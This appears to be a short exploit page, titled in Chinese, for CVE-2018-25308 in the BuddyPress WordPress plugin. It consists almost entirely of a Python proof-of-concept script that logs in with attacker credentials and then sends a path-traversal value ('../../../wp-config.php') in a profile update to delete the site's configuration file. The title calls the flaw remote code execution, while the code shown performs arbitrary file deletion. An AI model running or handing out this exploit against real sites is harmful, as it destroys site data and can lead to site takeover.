CVE-2018-25308 BuddyPress插件远程代码执行漏洞

import requests # Target configuration target_url = 'http://example.com/wp-admin/profile.php' login_url = 'http://example.com/wp-login.php' username = 'attacker' password = 'password' # 1. Login to get authenticated session session = requests.Session() payload = {'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url} session.post(login_url, data=payload) # 2. Exploit: Delete arbitrary file via profile update # Vulnerable parameters: field_hiddenfile and field_deleteimg exploit_data = { '_wp_http_referer': '/wp-admin/profile.php', 'field_hiddenfile': '../../../wp-config.php', # File to delete 'field_deleteimg': '1', 'action': 'update' } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("[+] Payload sent. Check if file is deleted.") else: print("[-] Failed to send payload.")